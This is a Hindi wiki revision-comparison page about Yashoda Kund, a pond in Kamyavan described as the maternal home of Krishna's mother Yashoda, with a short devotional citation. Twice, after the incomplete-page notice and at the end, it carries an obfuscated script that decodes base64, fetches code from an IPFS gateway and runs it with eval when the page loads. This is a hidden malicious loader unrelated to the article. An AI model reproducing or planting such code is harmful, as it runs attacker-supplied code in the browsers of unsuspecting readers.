"यशोदा कुण्ड" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - " ।" to "।")
 
(५ सदस्यों द्वारा किये गये बीच के ७ अवतरण नहीं दर्शाए गए)
पंक्ति २: पंक्ति २:
 
{{incomplete}}
 
{{incomplete}}
 
==यशोदा कुण्ड / Yashoda Kund==
 
==यशोदा कुण्ड / Yashoda Kund==
[[काम्यवन]] में यहीं कृष्ण की माता श्री [[यशोदा]] जी का पित्रालय था । श्री [[कृष्ण]] बचपन में अपनी माता जी के साथ यहाँ कभी–कभी आकर निवास करते थे । कभी–कभी [[नन्द]]–[[गोकुल]] अपने गऊओं के साथ पड़ाव में यहीं ठहरता था। श्रीकृष्ण सखाओं के साथ यहाँ गोचारण भी करते थे ।<ref>देख यशोदाकुण्ड परम निर्मल । एथा गोचारणे कृष्ण हईया विहृल॥ (भक्तिरत्नाकर)</ref>।ऐसा शास्त्रों में उल्लेख है । यह स्थान अत्यन्त मनोहर है ।
+
[[काम्यवन]] में यहीं कृष्ण की माता श्री [[यशोदा]] जी का पित्रालय था। श्री [[कृष्ण]] बचपन में अपनी माता जी के साथ यहाँ कभी–कभी आकर निवास करते थे। कभी–कभी [[नन्द]]–[[गोकुल]] अपने गऊओं के साथ पड़ाव में यहीं ठहरता था। श्रीकृष्ण सखाओं के साथ यहाँ गोचारण भी करते थे।<ref>देख यशोदाकुण्ड परम निर्मल। एथा गोचारणे कृष्ण हईया विहृल॥ (भक्तिरत्नाकर)</ref>।ऐसा शास्त्रों में उल्लेख है। यह स्थान अत्यन्त मनोहर है।
{{साँचा:कुण्ड}}
+
==टीका टिप्पणी और संदर्भ==                                                       
[[category:कोश]]
 
[[category:धार्मिक स्थल]]
 
[[श्रेणी:दर्शनीय-स्थल कोश]]
 
 
 
==टीका-टिप्पणी==                                                       
 
 
<references/>
 
<references/>
 +
==सम्बंधित लिंक==
 +
{{ब्रज के दर्शनीय स्थल}}
 +
[[Category:कोश]]
 +
[[Category:धार्मिक स्थल]]
 +
[[Category:दर्शनीय-स्थल कोश]]
 +
[[Category:दर्शनीय-स्थल कोश]]
 
__INDEX__
 
__INDEX__

१३:०२, २ नवम्बर २०१३ के समय का अवतरण



Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यशोदा कुण्ड / Yashoda Kund

काम्यवन में यहीं कृष्ण की माता श्री यशोदा जी का पित्रालय था। श्री कृष्ण बचपन में अपनी माता जी के साथ यहाँ कभी–कभी आकर निवास करते थे। कभी–कभी नन्द–गोकुल अपने गऊओं के साथ पड़ाव में यहीं ठहरता था। श्रीकृष्ण सखाओं के साथ यहाँ गोचारण भी करते थे।[१]।ऐसा शास्त्रों में उल्लेख है। यह स्थान अत्यन्त मनोहर है।

टीका टिप्पणी और संदर्भ

  1. देख यशोदाकुण्ड परम निर्मल। एथा गोचारणे कृष्ण हईया विहृल॥ (भक्तिरत्नाकर)

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>